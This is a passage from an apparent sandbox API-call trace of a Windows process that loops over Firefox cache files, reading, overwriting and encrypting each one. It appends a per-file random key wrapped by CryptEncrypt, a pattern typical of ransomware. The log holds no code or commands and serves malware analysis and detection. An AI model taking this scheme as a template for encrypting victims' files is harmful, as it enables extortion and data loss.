lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xca8b [0182.888] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0182.889] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2eeac08*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x2eeac08*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0182.889] WriteFile (in: hFile=0x1b80, lpBuffer=0x2eeac08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeac08*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0182.889] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0182.889] CloseHandle (hObject=0x1b80) returned 1 [0182.900] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x2eea0b0 | out: pbBuffer=0x2eea0b0) returned 1 [0182.900] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0182.900] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\FA05B3303C005BB21AAC68847E713564FCA8DDE3", dwFileAttributes=0x80) returned 1 [0182.902] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef078, nNumberOfBytesToRead=0x337c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesRead=0x2e1f9bc*=0x337c, lpOverlapped=0x0) returned 1 [0182.926] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-13180, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.926] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f2400*, nNumberOfBytesToWrite=0x337c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f2400*, lpNumberOfBytesWritten=0x2e1f9bc*=0x337c, lpOverlapped=0x0) returned 1 [0182.927] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x337c [0182.927] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0182.927] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2eea0b0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x2eea0b0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0182.927] WriteFile (in: hFile=0x1b80, lpBuffer=0x2eea0b0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eea0b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0182.927] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0182.928] CloseHandle (hObject=0x1b80) returned 1 [0182.930] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x2eead10 | out: pbBuffer=0x2eead10) returned 1 [0182.930] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0182.930] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\F8AC72083E334F70A553AE68455FBDF0E65C5221", dwFileAttributes=0x80) returned 1 [0182.930] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x2ee9d98 [0182.930] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0182.930] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef078, nNumberOfBytesToRead=0x12e5, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesRead=0x2e1f9bc*=0x12e5, lpOverlapped=0x0) returned 1 [0182.954] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4837, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.954] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f0368*, nNumberOfBytesToWrite=0x12e5, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f0368*, lpNumberOfBytesWritten=0x2e1f9bc*=0x12e5, lpOverlapped=0x0) returned 1 [0182.954] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x12e5 [0182.954] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0182.955] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2eead10*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x2eead10*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0182.955] WriteFile (in: hFile=0x1b80, lpBuffer=0x2eead10*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eead10*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0182.955] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0182.955] CloseHandle (hObject=0x1b80) returned 1 [0182.957] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x2ee9768 | out: pbBuffer=0x2ee9768) returned 1 [0182.957] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0182.957] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\F7A03B835287EB653E333695F9A2A18207504E62", dwFileAttributes=0x80) returned 1 [0182.957] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x2ee9870 [0182.957] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0182.957] ReadFile (in: hFile=0x1b80, lpBuffer=0x2eeb018, nNumberOfBytesToRead=0x11776, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesRead=0x2e1f9bc*=0x11776, lpOverlapped=0x0) returned 1 [0182.990] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-71542, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.990] WriteFile (in: hFile=0x1b80, lpBuffer=0x2efc798*, nNumberOfBytesToWrite=0x11776, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2efc798*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11776, lpOverlapped=0x0) returned 1 [0182.991] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11776 [0182.991] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0182.991] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2ee9768*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x2ee9768*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0182.991] WriteFile (in: hFile=0x1b80, lpBuffer=0x2ee9768*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee9768*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0182.992] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0182.992] CloseHandle (hObject=0x1b80) returned 1 [0182.993] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x2ee9d98 | out: pbBuffer=0x2ee9d98) returned 1 [0182.993] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0182.993] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\F56261E8B05819E012DD547478AA01C2CDEECB85", dwFileAttributes=0x80) returned 1 [0182.993] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x2eea8f0 [0182.994] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0182.994] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef078, nNumberOfBytesToRead=0x1137, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesRead=0x2e1f9bc*=0x1137, lpOverlapped=0x0) returned 1 [0183.040] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4407, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.040] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f01b8*, nNumberOfBytesToWrite=0x1137, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f01b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1137, lpOverlapped=0x0) returned 1 [0183.040] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1137 [0183.040] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.040] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2ee9d98*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x2ee9d98*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.041] WriteFile (in: hFile=0x1b80, lpBuffer=0x2ee9d98*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee9d98*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.041] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.041] CloseHandle (hObject=0x1b80) returned 1 [0183.043] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x2ee9ea0 | out: pbBuffer=0x2ee9ea0) returned 1 [0183.043] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0183.043] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\F5387E8365BD2DADD2BB866AD939802535A18630", dwFileAttributes=0x80) returned 1 [0183.044] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x2ee9450 [0183.044] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.044] ReadFile (in: hFile=0x1b80, lpBuffer=0x563358, nNumberOfBytesToRead=0x113, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x563358*, lpNumberOfBytesRead=0x2e1f9bc*=0x113, lpOverlapped=0x0) returned 1 [0183.045] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-275, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.045] WriteFile (in: hFile=0x1b80, lpBuffer=0x570c48*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x570c48*, lpNumberOfBytesWritten=0x2e1f9bc*=0x113, lpOverlapped=0x0) returned 1 [0183.045] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x113 [0183.046] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.046] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2ee9ea0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x2ee9ea0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.046] WriteFile (in: hFile=0x1b80, lpBuffer=0x2ee9ea0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee9ea0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.046] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.046] CloseHandle (hObject=0x1b80) returned 1 [0183.048] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x2eea0b0 | out: pbBuffer=0x2eea0b0) returned 1 [0183.048] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0183.048] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\F445FCAB663CB1278872DDCA1E5DDB5EB186C88D", dwFileAttributes=0x80) returned 1 [0183.048] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x2ee9fa8 [0183.048] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.049] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef078, nNumberOfBytesToRead=0xf2d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesRead=0x2e1f9bc*=0xf2d, lpOverlapped=0x0) returned 1 [0183.055] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3885, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.055] WriteFile (in: hFile=0x1b80, lpBuffer=0x30effb0*, nNumberOfBytesToWrite=0xf2d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30effb0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xf2d, lpOverlapped=0x0) returned 1 [0183.056] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xf2d [0183.056] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.056] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2eea0b0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x2eea0b0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.056] WriteFile (in: hFile=0x1b80, lpBuffer=0x2eea0b0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eea0b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.057] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.057] CloseHandle (hObject=0x1b80) returned 1 [0183.060] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x2eea5d8 | out: pbBuffer=0x2eea5d8) returned 1 [0183.060] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0183.060] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\F40097B0B56961E44C8B985BA539D8266739EEFD", dwFileAttributes=0x80) returned 1 [0183.061] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x2eead10 [0183.061] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.061] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef078, nNumberOfBytesToRead=0xdfe, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesRead=0x2e1f9bc*=0xdfe, lpOverlapped=0x0) returned 1 [0183.067] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3582, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.067] WriteFile (in: hFile=0x1b80, lpBuffer=0x30efe80*, nNumberOfBytesToWrite=0xdfe, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30efe80*, lpNumberOfBytesWritten=0x2e1f9bc*=0xdfe, lpOverlapped=0x0) returned 1 [0183.068] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xdfe [0183.068] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.068] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2eea5d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x2eea5d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.068] WriteFile (in: hFile=0x1b80, lpBuffer=0x2eea5d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eea5d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.068] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.068] CloseHandle (hObject=0x1b80) returned 1 [0183.070] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x2ee9768 | out: pbBuffer=0x2ee9768) returned 1 [0183.070] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0183.070] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\F3687EA272924EFA039E8C0E7E78DD8FCF341D98", dwFileAttributes=0x80) returned 1 [0183.070] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x2ee9558 [0183.070] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.070] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef078, nNumberOfBytesToRead=0x34ca, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesRead=0x2e1f9bc*=0x34ca, lpOverlapped=0x0) returned 1 [0183.072] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-13514, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.072] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f2550*, nNumberOfBytesToWrite=0x34ca, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f2550*, lpNumberOfBytesWritten=0x2e1f9bc*=0x34ca, lpOverlapped=0x0) returned 1 [0183.072] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x34ca [0183.072] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.072] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2ee9768*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x2ee9768*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.073] WriteFile (in: hFile=0x1b80, lpBuffer=0x2ee9768*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee9768*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.073] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.073] CloseHandle (hObject=0x1b80) returned 1 [0183.075] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x2ee9870 | out: pbBuffer=0x2ee9870) returned 1 [0183.075] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0183.075] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\F34C7878FC7716D2D6CF17466495D1DFBE5C794A", dwFileAttributes=0x80) returned 1 [0183.075] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x2eea6e0 [0183.075] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.075] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef078, nNumberOfBytesToRead=0x19a0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesRead=0x2e1f9bc*=0x19a0, lpOverlapped=0x0) returned 1 [0183.084] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-6560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.084] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f0a20*, nNumberOfBytesToWrite=0x19a0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f0a20*, lpNumberOfBytesWritten=0x2e1f9bc*=0x19a0, lpOverlapped=0x0) returned 1 [0183.084] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x19a0 [0183.084] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.084] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2ee9870*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x2ee9870*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.085] WriteFile (in: hFile=0x1b80, lpBuffer=0x2ee9870*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee9870*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.085] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.085] CloseHandle (hObject=0x1b80) returned 1 [0183.088] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x2eea7e8 | out: pbBuffer=0x2eea7e8) returned 1 [0183.089] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0183.089] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\F25ECCA86E8A9A0F32A1356BCC3EDD99EFD2FFC6", dwFileAttributes=0x80) returned 1 [0183.089] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x2ee9a80 [0183.089] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.089] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef078, nNumberOfBytesToRead=0xef1, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesRead=0x2e1f9bc*=0xef1, lpOverlapped=0x0) returned 1 [0183.090] SetFilePointer (in: hFile=0x1b80, 